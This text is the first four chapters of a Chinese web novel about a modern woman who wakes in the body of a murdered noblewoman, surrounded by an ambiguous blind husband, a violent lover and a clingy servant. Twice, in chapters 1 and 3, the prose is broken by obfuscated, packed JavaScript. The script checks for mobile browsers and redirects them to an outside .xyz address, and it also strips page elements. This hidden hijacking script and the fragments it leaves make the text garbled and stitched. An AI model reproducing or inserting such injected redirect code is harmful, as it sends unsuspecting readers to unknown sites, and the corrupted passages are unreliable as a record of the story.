《穿进恐怖乙游艰难求生》 1. 第 1 章 晨光熹微,光透过窗照进室内又缓缓斜移落在了床上。 季白睁了睁眼,抬手就要去摸床边的手机,却摸到了一个柔软滑腻的东西,还散发着微热的温度,像是…… 人的皮肤! 季白顿时睁开眼入目就是一张精致完美到如建模的脸,如切如琢,玉树兰芝,漂亮到不像是现实中的人。 她难道还在梦里? 季白抬手去摸他的脸,想确定他是否是真实的。 可季白的手还没碰上他,睡梦中的男人忽然醒了,他动作利落地将毫无防备的季白压在了身下,一双如玉的手精准地扣住了她细嫩脆弱的脖颈。 这一瞬间,季白隐隐从他身上体会到了森寒冷冽的杀意…… 男人的眼睛上覆着一条绣着竹叶的白绸露出他高挺的鼻梁和微薄的唇。 他的眼睛明明被白绸遮住了,可他的目光却仿佛穿过了白绸黏在她的身上,如同化不开的雾,深林里的沼泽,要将她困死在他的身边。 季白眨了眨眼,她并不觉得害怕,反而感觉近距离看他更帅了。 简直是美颜暴击。 老天爷,她不会流鼻血吧? “你……”季白小声问,“你是谁啊?” 季白刚说出一个字,方意识到自己的嗓子疼得厉害,声音也沙哑得宛若公鸭子。 男人听到季白这么问,身子僵了下,随即收回了手,薄唇轻启,“你不记得了?” 男人声音清越,如玉石撞击,只这一句话就酥了季白的半边身子。 “说出来你可能不信,但我确实什么也不记得了。” 季白也知道自己这么说,可能会被他们当做妖邪烧了,杀了。 但她的脑子里没有一丁点关于原主的记忆,就算小心翼翼地装着也早晚会露馅。 不如就直接说什么也不记得了。 若是真要杀她,说不好一睁眼还能回去呢。 这样拙劣敷衍的借口,是人都会有所怀疑。 可男人却信了,他卸了所有的警惕与防备,将头埋在了她的脖颈间如情人般在她耳边低语,“娘子忘了吗?我是你的夫君啊。” 如雪松般的暗香在她鼻尖弥散,他依赖地轻蹭着她,仿佛她是他世间最信任的人。 有点奇怪…… 明明季白刚刚要碰他时,他还如同一只警惕的猛兽掐住了她的脖子,可转瞬间又做出这般依恋信任的样子。 季白压下心中的疑虑,温顺地靠在他温暖的怀抱里。 她感觉这具身体的额头有点疼,抬手一摸疼得她倒吸了一口凉气。 “我的头是怎么了?” 男人从她的颈项间抬起头,覆着白绸的眼睛望着她的脸庞, “你昨天在花园里跌了一跤。” 她看不见他的眼睛,所以无法辨别他这句话是真是假。 自己跌的? 季白总觉得没那么简单,但也没有反驳,而是抬手在他眼前晃了晃,“你为什么用白绸蒙着眼睛啊?” 男人微微垂下头,语气平静,像是在说别人的事。 “我有眼疾,不能视物。” 可惜了,这么好看的人,是个瞎子。 “娘子心疼我?” 男人明明看不见,可却用肯定的语气说出这句问句,似乎是亲眼看见了季白眼中的可惜。 季白动作轻柔的抚上他眼睛上的白绸,问:“我还不知道你叫什么。” “闻人瑾。” 闻人瑾话落用手摸索着抓住了她的手,用指尖在她的掌心缓慢地写下了他的名字。 指腹划过掌心时带来阵阵痒意仿佛是有蚂蚁爬过一样,有好几次季白都痒得受不住,想要抽出自己的手,可闻人瑾却紧紧抓着她的手指不放。 闻人瑾写完后收回了手,季白正准备找借口下床,闻人瑾却又突然拥住了她,清越的声音带了几分暧昧的缠绵。 “你是季白,是我的娘子。” 季白心中一颤,原身竟然和她是一个名字。 “我饿了。”季白推开他下了床,只听闻人瑾拍了拍手,立即就有丫鬟们鱼贯而入为她更衣洗漱。 换衣服的时候季白总感觉有人在注视着她,那目光似是穿透了墙,来到她的身边,如白茫茫的雾气一般包裹着她。 可她回过头去背后只有一扇屏风。 这儿看起来就是一个普通的古代社会,她是大户人家的妻子。 夫君虽然瞎眼但看起来对她也是疼爱有加,好似暂时没有什么危险。 只是…… 季白看着镜子里的自己,额头上有一个青紫的疤痕,比起摔得更像是撞得,细白的脖子上还有一条格外显眼的紫到发黑的勒痕。 这不是用手掐的,是用绳子勒得。 原主是被人杀死的。 季白抬手摸了摸还在痛的脖子,回头看了眼已经换好衣服的闻人瑾。 他本就生得玉树兰芝,如今换上一身月白色的宽袖锦袍,越发衬得他身段高挑,光风霁月,就连眼睛上的白绸也成了凸显他禁欲气质的装饰。 他坐在那儿脊背挺得笔直,似是一尊完美的神像。 这样一个人会是杀人的凶手吗? 季白收回了目光,一抬手无意间扫过自己的小臂内侧,上面似乎交错纵横着红色的疤痕。 她心头一惊,连忙翻过一瞧,上面歪歪斜斜的写着一个“逃”。 她不动声色的用衣服盖住了,看来这儿并没有自己想的那么平静。 哎,难得见到这样动人的美色,她还以为能好好享受一番呢。 季白同闻人瑾吃完早饭后,试探性地问:“我能出去走一走吗?” 闻人瑾转过头,那双覆着白绸的眼睛精准地锁定了她,季白几乎都要怀疑闻人瑾没有瞎了。 他的言行举止实在不像一个瞎子。 “在这个家你想做什么都可以。” 他嘴角挂着一抹极浅的笑,“只是有一点。” “不能离开我。” 他说得和风悦色,仿佛爱她至深。 季白抬手又在他眼前晃了晃,随即偏着头靠近他,低声笑问:“那你和我一起去啊,就不算离开你了。” 季白看不见他的眼睛,但从他微微变化的唇角也看出了他被这个突如其来的邀请所惊到了。 只不过他的表情变化实在很细微,快到让人难以察觉。 “我不喜出门。”闻人瑾温声道,“让春桃陪你去吧。” 春桃,听起来像是一个丫鬟的名字。 或许可以从她嘴里得到一些线索。 季白在一位圆脸丫鬟的带领下出了门,门外的庭院种着幽兰冬梅秋菊以及一些季白不认识的花花草草,出了月洞门,两人在石径路上闲逛着,园中楼阁亭台,假山林立,像极了季白在现代去过的苏州园林。 路上季白从春桃口中得知了她的身份,她自小被养在闻人府与闻人瑾青梅竹马,两小无猜,因而顺理成章的成了夫妻,只是不知为何,成婚后他们夫妻二人的关系并不好,时常吵架。 不过说是吵架,好像更多的时候是原身单方面对闻人瑾的……欺凌。 若真是如此,似乎就能解释清楚早上闻人瑾那一闪而过的杀机。 对于她额上的伤听说是自己摔得,至于脖子上的伤,春桃也不甚清楚,只是昨儿睡前还好好的。 季白暗想,看来犯案时间就是在晚上了。 闻人瑾有作案动机也有作案时间,他的嫌疑最大。 照春桃所讲,季白从前在身边伺候的丫鬟因服侍不周都被打发出去了,她是最近才调到她身边服侍,所以季白以前的事她知道的也不多,都是听府中别的丫鬟们讲的。 闻人家乃世代簪缨,府上的老爷闻人泉深受皇上信任领了巡盐的官放出去了,没个三年五载暂且是回不来了。 如今府里的正经主子就只剩了闻人夫人,闻人瑾还有她这位少夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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季白一下又一下地用大拇指的指甲盖划着食指的指腹,这是她思考焦虑时最爱做的动作。 若是不查出凶手是谁,敌在暗,我在明,他很有可能会再次对她下手。 “春桃,你怎么在这儿啊。”一位尖脸塌鼻的小丫鬟急匆匆地跑了过来,“快跟我走吧,夫人等着问你话呢。” “这……”春桃看了眼季白。 “你去吧。”季白说,“我在这儿等你,或者我等会自己回去。” 春桃蹲了一礼,道,“奴婢去去就回。” 没了春桃,季白反而能放开手脚认真仔细地观察这座宅子。 她想到小臂上的那个逃字,若实在不行,她得想法子离开这儿。 只是…… 季白回头看向自己来时的路,明明身后空无一人,可她却总觉得有人一直在暗处盯着她,那目光如影随形,炙热到让人无法忽视,无法摆脱。 是错觉吗? 季白收回视线,加快了离开的脚步,忽有一人突然从假山里窜了出来。 来人身姿挺拔,绮颜若妖,一双撩人的桃花眼直白,热烈地盯着她。 如果说闻人瑾是寒山的松,天山的雪,莹润的白玉,那么眼前人就是原野的花,燎原的火,夺目的光珠。 季白被他眼中的灼热烫得后退了一步,谨慎地问:“你是?” 他炙热直白的眼神并不清白,哪怕是在现代一个男人这样看着一位女子都是极为失礼的事情,何况是保守森严的古代。 “你忘了我?”男人的眉头跳了跳,眼中的爱意化为不可置信的怒火随即而来的是铺天盖地的疯狂。 他步步逼近,季白察觉出不对,转身欲跑却被男人一把抓住胳膊压在了冷硬粗糙的假山上。 季白喝道:“你是什么人?!我是府里的少夫人。休得放肆!” “少夫人?”男人冷嗤一声,动作粗鲁地掐住她的下巴迫使她抬头对上他的眼睛,“你本该是我的夫人。” 2. 第 2 章 季白听了这话,灵活的大脑也死机了。 听他的语气,原主和他还有一腿? 原主的胆子真够大的啊,也不知当时是被迫还是两厢情愿。 季白目光下移看见了他腰间悬着的玉佩,玉佩上刻着褚师两个字。 他是……借住在府上的褚师怀? 自古奸情出人命啊。 季白想起她出门前闻人瑾那句不能离开他,似乎是别有深意。 难道闻人瑾早就知道原主和褚师怀的关系了? 季白确定,她要想继续在这个世界活下去,第一个要斩断的就是原主和他的关系。 他们再继续勾勾搭搭的,将来事发,她定没有好下场。 “你在想什么?”男人不悦的声音在她的上方响起,掐着她下巴的手指加重了力气,疼得她忍不住倒吸了口冷气,“你在想他?在想那个瞎子?!” “你怎么敢在我的面前想他?”男人低吼着说出了这句话,按着她肩膀的手几乎要扣进她的肉里去。 “嘶,疼!” 男人听见季白喊疼,手上松了松力气,可看她的眼神仍然充斥着足以焚尽一切的怒火。 炙热的手掌托着她的下巴,略显粗粝的拇指指腹摩挲过她如花蕊般娇嫩的唇, “他碰你了?” “呵,一个瞎子有什么好,不如……跟我走吧。” 季白的唇瓣被他的拇指重重揉搓着,弄得又痛又痒。 她不耐烦地抬起头,迎上他炙热如火的目光,“你弄疼我了!” 季白的语气称得上是厌烦,眼中的冷漠与嫌恶如尖刀一般刺向褚师怀,又在他的心里绞了绞,杀得他血肉模糊,肝肠寸断。 可他还没缓过劲来,又听季白冷漠地说:“我们断了吧,你以后也不要再来找我。” 褚师怀脑海中那根名为理智的弦彻底断了。 “断了?”褚师怀轻轻呢喃着这两个字,表情随即狰狞起来,“是你告诉我,没有生离,只有死别。” “你爱上他了。” “那我呢,我和你的承诺呢?” 季白仰头迎上他的目光,眼中没有半分愧疚,说得理所当然,“承诺这种事怎么能信呢?” 在季白所生活的现代,成年人之间心照不宣的都不会再相信相爱时的海誓山盟,谁若真的信了,自己都不好意思说出去,定会惹来耻笑,旁人也会觉得你傻。 何况是他们这种本就见不得人的关系,相好时的甜言蜜语又怎能当真? 季白无所谓的态度彻底刺痛了褚师怀的心,他珍而重之的诺言在她的心中什么也不是。 “季白,你没有心。”他说。 “哈哈,哈哈哈。”他又突然大笑起来,笑得凄厉又可怖,像是彻底散失了理智,随即他目光一冷,刻意压低的语气如恶魔低语,“没有生离,只有死别。小白,我教过你的,诺不轻许,许则为之。” 褚师怀话落就伸手掐住了季白的脖子,掐得她几乎喘不过气,他要杀了她! “别怕,我会陪你的。”他明明在杀她,可眼神又是那样温柔与充满爱恋,“等我们成了鬼,就再也没人能分开我们了。” 疯子!真是一个疯子! 季白拼命挣扎着,濒死的窒息让她瞬间爆发出超乎寻常的力气,她抬起膝盖重重撞上褚师怀的致命处,褚师怀一个吃痛往后退了退,掐着季白脖子的手也松了松,季白眼疾手快趁机抄起从身后摸索到的石头砸上褚师怀的头。 “砰!” 褚师怀的身形晃了晃,看向季白的眼神充满了委屈和不敢置信。 “你……要杀我?” 殷红的血顺着鬓角滑落,染红他的眼睛,雪白的皮肤,乌黑的发,殷红的血,三种极端的颜色交错在一次,这一幕恍若电影里凄厉疯魔的妖,眼中是被爱人背叛的绝望。 季白却没心思观赏这幅绮丽堕落的画面,她一把推开他转身就跑,没跑几步就听见身后传来“扑通”一声巨响,应是褚师怀倒地的声音。 褚师怀被血染红的眼睛死死盯着她离去的背影。 她连头都没有回一下。 疯子,她刚刚差点被他掐死,难道还不准她还手? 这里的人到底有什么古怪癖好,见了面都喜欢冲着别人的脖子来。 季白一溜烟地跑了回去,屋子里不见闻人瑾,只有几位打扫的下人在庭院里忙活着。 季白也顾不上闻人瑾了,自顾自地在贵妃榻上坐下喘息,也不知自己刚刚那一下会不会把人砸死。 不过死了也活该,那样的疯子不死,早晚她也得死。 不过万一事发,查到她头上可如何是好。 咬死不承认? 麻烦是一重接着一重,原主的死亡还没查出来呢,如今又跳出一个麻烦。 季白越想越烦,甚至想一头撞死了事。 说不好眼睛一睁又回去了呢。 她重重叹了口气,觉得有点口渴,正想给自己倒杯水,就见一位小厮捧着茶来了。 “少夫人喝茶。” 季白接过茶一饮而尽,一眼也没有看递茶的小厮。 季白摸了摸还在痛的脖子,转念一想,杀原身的人会不会是褚师怀呢? 或许原身的想法和她的想法一样,想去和褚师怀分手,结果褚师怀无法接受,愤而对她动手? 毕竟比起褚师怀那个疯子,闻人瑾看起来要冷静理智得多,且他是个瞎子,就算想对原身动手也有诸多不便。 季白正想得入神,突然感觉有一个东西攀上了她的腿,她吓得一激灵,手里的茶盏也翻了,低头一看就见一人抱上了她的腿,仰起一张清纯秀美宛若小白花的脸,泪含在眼中欲掉不掉。 这又是哪一出? 季白人傻了。 今天一天,季白死的脑细胞比她这一辈子死得都多。 “夫人,您说过会对羽生负责。” “您不会丢下我吧?” 负责?负什么责? 这俊美小厮也是原主的入幕之宾? 羽生柔弱无骨的手顺着季白的小腿往上攀爬最终停在她的大腿内侧上下摩挲着,小脸白嫩得宛若剥了壳的鸡蛋,他把脸贴在她的腿面上仰头看她。 “夫人今天连看也不看我一眼,是羽生哪来讨夫人嫌恶了吗?” 他浓稠细密的羽睫忽闪着,似是一只在阳光下翩然的蝴蝶,无意识地引诱着人去捕捉。 羽生抬起手轻抚季白受伤的脖子,“夫人还疼吗?我去给您拿点药抹一抹。” 羽生话落起身去柜子里翻找伤药,没一会就找到了。 “夫人,您忍一忍。”他弯下身子给季白脖子上的伤口涂药,冰凉的药膏在伤口上缓缓化开,伤口随着药效的渗透也一点点的不疼了。 季白垂下眼帘望着他,他生得清秀,五官不似闻人瑾和褚师怀那样让人一眼惊艳,却是极为耐看清爽的类型,像是夏日里的冷薄荷,风雨里的小白花。 他似是察觉到季白的目光,白皙的面容一点点的红了。 他小心翼翼地抬起头拿眼觑她,“是我弄疼夫人了吗?” 季白摇摇头,“没有。” 季白垂下眼帘思索,看样子他也和原身有纠葛,那……他会不会知道是谁害了原身。 季白正准备问问他,就听廊外传来脚步声,紧接着一道清越的男声透过窗传来。 “娘子,是你回来了吗?” 季白连忙起身,扬声道:“是我。” 羽生垂下眼帘,浓长乌黑的眼睫遮住他眼中一闪而过的嫉妒与不甘。 他跟了上来,道:“夫人,药还没上完呢。” 季白道:“不上了,你先下去吧。” 他毕竟是外男,等会若让闻人瑾发现他们共处一室,定少不了麻烦。 羽生却并没有下去,反而像只猫儿似得往季白身上靠,他软声软语地撒娇,“夫人,大公子眼盲什么也看不见,何必怕他?” 羽生话落,还颇为大胆地伸出手揽住她的腰。 他看起来清瘦手臂却如藤蔓般紧紧箍住季白,仿佛要将她融入自己的身体一般,眼见闻人瑾的脚步声越来越近,季白心下着急,用力挣开他的怀抱。 羽生顺势倒在地上,拽着季白的裙摆,低声问:“夫人之前不是最喜欢这样了吗?” 这句话的信息量太大,这样是哪样? 原主是喜欢和他亲近,还是喜欢当着闻人瑾的面和他亲近? 季白来不及细想了,闻人瑾已经掀开帘子,走了进来。 他明明看不见东西,可目光却精准得落在了季白的身上。 他微微侧了侧头,似乎在用耳朵去听,“还有人在?” 季白低头瞪了眼羽生,示意让他别乱来,羽生却冲季白笑了笑,如趴在主人身边的狗一样跪在季白的脚步,同时还抬起胳膊去摸季白垂在腰际的手,灵活的手指如蛇一般勾缠上季白的手,在她的掌心画着圈。 酥酥麻麻的,仿佛轻柔的羽毛扫过她的心。 她在丈夫的注视下和另一个男人暧昧…… 这种超乎常人的刺激让季白的心脏飙到了顶点,仿佛再点一滴就要炸开。 这哪里是小厮,分明是个男狐狸精。 季白甩开羽生的手,笑着走到闻人瑾面前,“是下人来给我奉茶。” 她一面说着一面仔细观察着闻人瑾的面部表情。 他好像真的什么也没有看见一样,面上仍挂着浅浅的笑意,听见季白的脚步声还伸出手想要接住她。 季白又抬手在他眼前晃了晃。 看来闻人瑾是真的瞎了,不然任何男人都不可能看着自己的妻子和别的男人暧昧而无 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冰凉的液体落在她的脖颈,浸湿了她的衣领,有点凉,又有点黏腻。 她拍了拍闻人瑾的后背,低声安抚道:“我真的没事。” 闻人瑾看起来是最正常的人,而且他又是她的合法丈夫。 如果他真的是因为嫉妒而杀了原主,那她为了自保,也应该快点和褚师怀,羽生断了关系。 只是那两位看起来不像是好打发的。 季白一想就觉得头大,索性先把这件事扔到脑后,走一步看一步算了。 闻人瑾拥着她,却觉得像是拥着一具没有灵魂的躯壳。 他只能把肉/体困在他的身边,可却困不住她的心。 她又走神了。 她在想谁。 褚师怀还是那个……该死的小厮。 她的身上有他们的气味,她的心也跳得很乱。 是不是只有让她的心跳停止,她才会永远留在他身边。 不,即使是那样,他们也会和他抢她。 “你和客居在家里的褚师怀关系好吗?” 闻人瑾缓缓放开她,神色如常地说:“还不错,怎么了?” 季白摇摇头,“没事,只是我今天听春桃说,他好像不常在家。” “你希望他经常在家?”闻人瑾的声音里夹杂着一缕不易察觉的冰冷。 “当然不是。”季白主动抱住闻人瑾,“他怎样和我有什么关系呢?我只是不希望有别人来打扰我们。” 季白话音刚落,就听角落里传来一声脆响。 季白回头一看是羽生打翻了茶壶。 羽生泪眼朦胧地瞧着季白,脸上的神色活像季白是天底下最没良心的负心人一样。 “夫人……” 季白连忙出言打断了他,“还不快收拾了出去!” “打碎了东西还有脸哭什么?” 这羽生未免也太胆大了,当着闻人瑾的面还敢用那种声音喊她。 生怕闻人瑾不知道他们之间有事一样。 羽生闻言面色一白,仿佛遭受极大的打击一样,颤抖着手打扫碎片,眼泪珠子和不要钱似得往下落。 闻人瑾全程没有说一句话,只是静静站着仿佛是一尊没有生息的雕像,谁也不知道他在想什么。 季白主动牵起闻人瑾略凉的手,拉着他往外室去,嘴里还嘀咕着府里的下人实在太不懂事了。 她并没有注意到闻人瑾在转身前侧眸看了地上的羽生一眼,嘴角还扬起一抹类似嘲讽的笑意。 羽生也没了在季白面前的柔弱,而是阴沉着一张脸回看了过去,眼神刻毒凶狠,他的掌心里还包着锋利的瓷片,却仿佛感觉不到痛一样,用力紧攥着,哪怕鲜血流了满地,他也毫无波动。 “娘子今天很不一样。” 季白状似苦恼地说:“我不是和你说了吗,我一觉醒来很多事都不记得了。” “也不知是不是撞到头的缘故。” “明日找个大夫来给娘子瞧瞧。”闻人瑾话落忽而低低笑了一声,随即转过头用那双覆着白绸的眼睛看着季白,明明是最温和的话语,可季白听着却犹如被冷风刮过心口,“原来失忆还会改变一个人的性情。” 季白停下了脚步。 闻人瑾不解地看了过来,在他看不见的视野里面前的少女毫无征兆地滚下两行泪,泪水顺着脸庞滴落到闻人瑾的手背上。 闻人瑾犹如被热油烫了一下似得收回了手,看不见眼睛的脸上是惊惧不定的神色。 “你……” 闻人瑾颤着手摸索着抚上季白的脸,入手是柔软的肌肤和冰凉的泪水。 “你……你怎么哭了?” 3. 第 3 章 季白的眼泪不要钱地往下落,浸湿了闻人瑾的袖口。 她想要开口解释,可张嘴就是语不成调,呜咽哽咽着。 闻人瑾手脚无措地替她擦拭眼泪,覆着白绸的脸上看起来有十分的茫然。 “我知道我的性情不讨喜,我也不想忘记从前的事,可我就是忘了。” “呜呜呜,为什么偏偏就我忘了?” “你知道我今天醒来什么都不记得的时候有多害怕吗?” “我不知道我怎么认识的你,也不知道我们从前相处的怎么样。” “我好怕我哪句话或者哪个动作不对就会惹你厌烦,我也不想的。” 季白哭哭啼啼地说了一大堆话,言语间满是伤心,茫然与自厌。 这其实有一大半是季白的真心话,但也有一大半是她演的。 今天一整天的惊吓,茫然,恐慌,借着这个机会一股脑地都发泄出来了,砸得闻人瑾一时不知该如何是好。 言语间也再没了刚刚那一闪而过的冷意,白玉般的面庞上浮现出无措的红晕, “别哭了。”闻人瑾干巴巴地安慰道。 他实在没有哄哭泣女子的经验。 “都是我不好,我不该说那句话,我从没有不喜欢你,厌烦你。” “无论是怎样的你,我都喜欢。” 季白止住了泪,问:“真的吗?” 闻人瑾摸索着吻上她的额头,语气虔诚又温柔地说,“我只怕你不够喜欢我。” 季白的情绪来得快,去得也快,得了闻人瑾的安抚后,她抹了抹眼下的泪喜笑颜开地拉着闻人瑾用膳去了。 她用石头砸了褚师怀的头,也不知人死没死,无论是死是活,这几日她都不准备再出去了。 外面太危险了。 晚上,季白洗漱过后上床睡觉,如今她的身份是闻人瑾的妻子,自是要和他同床共枕。 季白望着闻人瑾那张宛若仙人的脸,内心倒是没有半分的不情愿。 只不过多多少少还是有一点小小的别扭,她僵直地躺在床上,全身的肌肉紧绷着。 虽然明知闻人瑾看不见却还是只敢小心翼翼地偷瞄他。 原主到底怎么想的,有这么帅的老公还在外面和其他的男人纠缠不清。 不过…… 季白回想起褚师怀和羽生的相貌,个顶个的俊美,三人都是风格不同的美男,实难分出高下。 这么一想,季白也有点心痒痒了。 真的不能全都要吗? 想到这,季白叹了一声,把不该有的想法都收了起来。 这可是古代,要真让人发现她和其他男人纠缠不清,他们会怎样不一定,她肯定是活不了。 身边的床榻突然塌陷了一点下去同时伴随着窸窸窣窣的声音,独特的雪松幽香在账内弥散开来。 季白侧过头就看见闻人瑾已经在她身边躺下了。 他身上的衣服整整齐齐,就连睡姿也是板板正正。 季白想了想,问:“你这么睡觉不难受吗?” 她只是看着就觉得不舒服,哪有人这样睡觉?简直就像是画在课本上板板正正的小人。 “难受?”闻人瑾侧了侧头,一举一动仍是一板一眼,“我一直这么睡觉。” 季白翻了个身,索性面对面地看着闻人瑾。 反正他也看不见自己。 “哪有人睡觉就连衣服也穿得整齐严密的?” 他身上包得几乎和粽子没有区别了,就连她身上穿的亵衣也比他的轻薄些。 闻人瑾红了脸,清越的声音带了几分暗哑,“娘子是想和我行周公之礼吗?” 周公之礼? 什么玩意? 季白反应了半天才反应过来闻人瑾说的是什么,她瞪大了眼睛正想解释,可闻人瑾却先出声道,“可是我最近不太方便,很抱歉。” 闻人瑾的话顿时引起了季白的兴趣。 从来都只听说过女人不方便的,她还是第一次听男人说不方便。 她主动凑上去,挑眉问:“哪里不方便?” 她话音刚落,季白就看见了神奇的一幕,闻人瑾的脸像煮熟的虾一样,红得透彻,紧张到嘴唇都在发抖。 他这幅纯情害羞的样子,让季白越发想要逗他玩玩了。 季白这个人,骨子里就带着一股女流氓的恶趣味。 只可惜现代男性纯情的没几个,面对她都急色得很,偶有几个看起来单纯也多半是演的,像闻人瑾这种禁欲清冷,一挑逗就能从脸红到耳根的人,是世间少有的稀奇。 尤其他的面上还覆着白绸,越发能挑起人心底的破坏欲,想要狠狠地欺负他,看着他脸红,流泪和受不住时的哀求。 闻人瑾攥着手没有说话。 如今正是初夏,屋子里虽称不上热,但也并不凉爽。 闻人瑾穿得却很严密,难道他一点都不觉得热? 季白有心逗弄他,故意拉了拉他的衣领,装作无辜的模样笑问:“你穿这么严密,真的一点都不热吗?” 闻人瑾身上的这件衣服衣领高到就连喉结都遮住了,可越是这样季白越是好奇他被衣服紧紧包裹着的身体,是不是也同他的脸一样秀色可餐。 季白扫了眼他的胸膛,心想,他看起来并不强壮,身材应该很羸弱,又兼之患有眼疾行走不便,恐怕也没有腹肌之类的东西。 这么想着,季白也就没了心思去看。 有时候留点想象的余地反而会更有魅力。 季白正打算退回去,闻人瑾却突然抓住了季白的手,刚刚还害羞的人,语气又突然强势起来,“娘子想看?” 季白眨了眨眼,这时候说不想是不是显得自己有病? 然而闻人瑾也容不得她拒绝,他拉着她的手一件件解开他的衣袍。 季白觉得自己仿佛是被人拉着剥开一个口味未知的糖果,她不确定是什么口味,什么形状,但已经先闻到了糖果甜腻诱人的气味。 柔顺的白色衣服从胸口散开露出他的胸膛,肌肤比他身上的白衣还要白,在灯光的映照下宛若泛着荧光的白玉。 季白怔住了,可让她怔住的,并不是闻人瑾的美色,而是…… 他身上纵横交错的伤痕。 宛若一块完美无暇的美玉坠落在地,摔出道道狰狞扭曲的裂痕。 闻人瑾低下头,垂在腰间的手微微颤着,“很丑是吗?” 季白抬手抚上他腰腹上狰狞的疤痕,指腹划过肌理时,闻人瑾的身体本能地颤了一下。 “这是怎么弄得?” 到底谁这么狠心,连盲人都不放过? “你不记得了?”闻人瑾轻声问,随即又笑了下,“对,你不记得了。” 季白的手顿了下,突然想起今天和春桃的谈话。 原主和闻人瑾经常吵架…… “是我?” 季白的声音有几分苦涩,这不是她对他有多深的感情,而是一个人类对于美好事物的毁坏而抱有的最基本的可惜与同情。 她突然明白今早她想碰闻人瑾时,闻人瑾为何会把她压在身下掐着她的脖子。 他不是想杀她,他是想自保。 季白闭上了眼,不忍再看。 这样的人怎么会杀人呢? 只是……季白又摸了摸脖子,既然不是闻人瑾,那到底是谁杀了原主? 总不能是原主自杀吧? “抱歉。”季白轻声说。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879157|159720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >闻人瑾忽而转过身一把搂住了她, “没关系。” “我不在意。” “只要你不离开我,我怎样都可以。” 季白撞进了他散开衣襟的胸膛里,鼻尖抵着他的肌肤,呼出的气息变成水汽氤氲在她的长睫上,他直白炙热的表白几乎冲晕了季白的头脑。 他好像很爱原主,爱到哪怕原主凌辱虐待他,也浑不在意。 世界上会有这样卑微无私的感情吗? 或许有。 可这也代表着他本身就不正常。 季白第二天醒来不敢再出门,吃早餐时都生怕会突然有人闯进来逮捕她,说她杀了人。 但一早上都平平安安的过去了。 古代实在没什么好玩的事情,闻人瑾倒是很安静的听书童给他念书,那些枯燥的之乎者也,季白是一个字也没兴趣听,索性又回了卧房翻来几本杂书有一搭没一搭的看着。 褚师怀应该没事,若是人死了,府里早就闹起来了。 季白的性子是有点懒得,如果不是急到火烧屁股的事,她总是喜欢拖一拖,直至拖到再不解决就会活不下去。 季白趴在贵妃榻上看了一会又有些昏昏欲睡,头一点彻底睡了过去,睡梦中,季白感觉自己仿佛是被什么东西缠住了。 那东西勾住她的脚将她不断地往下拉,往下拉,她溺入暗无天日的水中,望着光明离她越来越远,直至无法呼吸…… 季白猛地睁开眼大口大口地呼吸着,随即就对上羽生雾蒙蒙的眼睛。 “夫人。” 季白一把推开他,质问:“你做什么?” 羽生一脸委屈,“夫人不爱羽生了吗?” 季白:…… 这画面似曾相识啊。 季白揉了揉眉心有点头疼,好不容易安生一会,麻烦又找上来了。 羽生从地上起来,半跪在贵妃榻旁抬手为季白揉按头上的穴位。 季白很想再次推开他,可羽生的手艺实在太好了,舒服得她舍不得推开了。 算了,先享受一会吧。 难怪原主会和一个小厮搅在一起,除了惊人的美貌外,还有这一手。 “羽生。” “夫人,我在。” 羽生欣喜地应了一声,上扬的尾音像是一只小狗在冲人摇尾巴。 季白想断了和羽生的关系,又怕他和褚师怀一样突然发疯了。 她想了想,道:“羽生啊,你有没有想过以后要做什么?你总不能一辈子留在府上做一个小厮吧?” 只要把人支走了,往后见不着面,关系自然而然也就断了。 “羽生只想留在夫人身边。” 还真是一个让人毫不意外的答案…… “夫人是想赶我走了吗?” 季白转过头来,握住羽生的手,脸不红心不跳地给他画起大饼。 “羽生啊,两情若是久长时,又岂在朝朝暮暮?” “你难道想一辈子留在府里和我偷偷摸摸吗?” 季白说到这儿脸上神色一凛,甩开他的手,“若真是如此,就当我看错了人。” “不。”羽生见状连忙又抓住季白的手不放,“我当然也想和夫人光明正大,长长久久的在一起。” “可是我……”羽生垂下头,“可是我只是一个小厮。” “你还年轻啊。”季白拍拍他的肩,说,“我给你一笔钱,你出去闯荡去,等你闯出名堂来,再来接我好不好?” 羽生正要作答,就听廊外忽有丫鬟来禀,“少夫人,夫人请您去正院。” 季白一听这话,心头一惊,这闻人夫人好端端的请她做什么? 不会是她砸褚师怀的事暴露了吧? 4. 第 4 章 季白高声应了一句马上来,随即低下声音对羽生说:“我和你说的,你可记住了?” 羽生抓住季白的手,抬眸道:“夫人何不和我一块走?我们一起去寻一个世外桃源,去一个只有我们两个人的地方,我会倾尽我的所有保护夫人,照顾夫人。” 羽生垂下眼帘,目光落在她桃红又饱满的唇上,眼底是和他面相极为不符的侵略性。 他又抬起眼眸,眼底清澈如水,“夫人不是总说这儿是牢笼吗?我带夫人一起走,不好吗?” 季白本以为羽生只是个小厮,是一个好摆布的,却不料也是个反应机敏的。 看来好好说是行不通了。 季白甩开羽生的手,冷脸道:“你要我把话说得很明白吗?” “羽生。”季白抬脚踩在他的心口上,语气恶劣又残忍,“我玩腻你了,不要你了。” 她话落使劲踹了羽生一脚,力气说不上有多重,但绝对够羞辱人。 但凡有点骨气的男人听了这话都会气呼呼的走开,可羽生却像一只记吃不记打的狗,挨了她一脚后又膝行至季白脚边,毫不犹豫地捧起那只刚刚踹过他的脚。 她的脚大约只有羽生的巴掌大,穿着一双藕粉色绣荷的绣花鞋,鞋面干净如新,就连鞋底都没多少灰。 季白还没反应过来就见他低下了头亲吻她的脚尖,她隔着鞋面都感受到了那炙热的吐息和温软的触感,她的脚仿佛被烫了一下似得迅速收了回来。 羽生仰着头看她,眼睛湿漉漉的,“夫人真的不要羽生了吗?” 这双眼睛仿佛富有魔力,让人只看一眼就会忍不住心软沦陷。 季白别过头去不看他,依旧冷着脸说:“等我回来的时候,不想再看见你。” 